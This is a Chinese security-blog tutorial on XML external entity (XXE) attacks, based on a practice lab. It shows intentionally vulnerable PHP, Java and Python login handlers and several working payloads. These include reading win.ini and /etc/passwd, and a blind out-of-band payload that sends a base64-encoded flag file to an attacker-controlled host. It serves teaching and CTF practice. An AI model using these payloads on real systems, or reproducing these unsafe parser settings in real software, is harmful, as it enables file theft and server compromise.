xxe漏洞

admin 2022年1月6日01:29:44安全博客 CTF专场评论9 views5825字阅读19分25秒阅读模式

XML外部实体攻击是对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入由弱配置的XML解析器处理时,会发生此攻击。此攻击可能导致机密数据泄露,拒绝服务,服务器端请求伪造,从解析器所在机器的角度进行端口扫描,以及其他系统影响

基础知识

<!ENTITY 实体名称 SYSTEM “URI/URL”>
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

练习题

练习靶场:https://github.com/c0ny1/xxe-lab

php

simplexml_load_string的函数这个函数是将XML转化为对象

php版本大于5.4.45的默认不解析外部实体

例题:
doLogin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

可以看出,默认的账号密码都是admin
这里没有xml文档,所以使用php伪协议(php://input)来接收发送的xml文档
后面的if-else条件判断语句用来输出结果,注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了。

这里我们构造paylaod,目的是能够输出在username里面

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE mzymzy [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>mzymzy</password></user>

这里关键字‘SYSTEM’,会令xml解析器从URL中读取内容,并允许它在xml文档中被替换。这里我们可以强制xml解析器去访问系统配置文件(位于C盘下的windows/win.ini)
这里的test就是指被读取的系统配置文件内容。

用盲注的方法试一下(当无回显的时候可用)

先在自己的服务器中加入下列DTD文件

1
2
     <!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>">
%start;

然后请求的数据为下面(用php协议将发送的数据编码为base64)

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://myip/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>

java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package me.gv7.xxe;

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import javax.xml.parsers.*;

@WebServlet("/doLoginServlet")
public class LoginServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

private static final String USERNAME = "admin";//Õ˺Å
private static final String PASSWORD = "admin";//ÃÜÂë

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db;
String result="";
try {
db = dbf.newDocumentBuilder();
/*ÐÞ¸´´úÂë*/
//dbf.setExpandEntityReferences(false);
Document doc = db.parse(request.getInputStream());
String username = getValueByTagName(doc,"username");
String password = getValueByTagName(doc,"password");
if(username.equals(USERNAME) && password.equals(PASSWORD)){
result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
}else{
result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
}
} catch (ParserConfigurationException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
} catch (SAXException e) {
e.printStackTrace();
result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
}
response.setContentType("text/xml;charset=UTF-8");
response.getWriter().append(result);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}

/**
*
* @param doc Îĵµ
* @param tagName ±êÇ©Ãû
* @return ±êÇ©Öµ
*/
public static String getValueByTagName(Document doc, String tagName){
if(doc == null || tagName.equals(null)){
return "";
}
NodeList pl = doc.getElementsByTagName(tagName);
if(pl != null && pl.getLength() > 0){
return pl.item(0).getTextContent();
}
return "";
}
}

python

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding=utf-8
from flask import Flask, request, url_for, render_template, redirect
from xml.dom import minidom

app = Flask(__name__)
app.config['DEBUG'] = True

USERNAME = 'admin' # 账号
PASSWORD = 'admin' # 密码

@app.route("/")
def home():
return render_template("index.html")

@app.route("/doLogin", methods=['POST', 'GET'])
def doLogin():
result = None
try:
DOMTree = minidom.parseString(request.data)
username = DOMTree.getElementsByTagName("username")
username = username[0].childNodes[0].nodeValue
password = DOMTree.getElementsByTagName("password")
password = password[0].childNodes[0].nodeValue

if username == USERNAME and password == PASSWORD:
result = "<result><code>%d</code><msg>%s</msg></result>" % (1,username)
else:
result = "<result><code>%d</code><msg>%s</msg></result>" % (0,username)
except Exception,e:
result = "<result><code>%d</code><msg>%s</msg></result>" % (3,e.message)

return result,{'Content-Type': 'text/xml;charset=UTF-8'}

def prn_obj(obj):
print '\n'.join(['%s:%s' % item for item in obj.__dict__.items()])

if __name__ == "__main__":
app.run()

Blind-XXE 引用本地DTD文件

Blind-XXE 引用本地DTD文件

如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。

ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd文件

它定义了很多参数实体并调用,所以我们可以在内部重写一个该dtd文件中含有的参数实体,如ISOmaso

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'test%file'>">
%eval;
%error;
'>
%local_dtd;
]>

例题 [GoogleCTF2019 Quals]Bnv

参考文章:
浅谈XXE漏洞攻击与防御 https://thief.one/2017/06/20/1/
XML实体注入漏洞的利用与学习https://uknowsec.cn/posts/notes/XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:29:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  xxe漏洞 http://cn-sec.com/archives/721662.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: